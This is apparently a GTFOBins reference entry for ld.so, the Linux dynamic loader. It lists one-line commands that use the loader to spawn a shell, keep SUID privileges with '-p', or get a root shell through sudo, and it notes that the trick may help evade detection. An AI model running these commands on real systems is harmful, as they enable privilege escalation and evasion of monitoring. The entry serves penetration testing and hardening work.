GTFOBins.github.io/_gtfobins/ld.so.md

---
description: |
  `ld.so` is the Linux dynamic linker/loader, its filename and location might change across distributions. The proper path is can be obtained with:

  ```
  $ strings /proc/self/exe | head -1
  /lib64/ld-linux-x86-64.so.2
  ```

  It's worth noting that the spawned process will be the loader, not the target executable, this might aid evasion. See https://shyft.us/posts/20230526_linux_command_proxy.html for more information.
functions:
  shell:
    - code: /lib/ld.so /bin/sh
  suid:
    - code: ./ld.so /bin/sh -p
  sudo:
    - code: sudo /lib/ld.so /bin/sh
---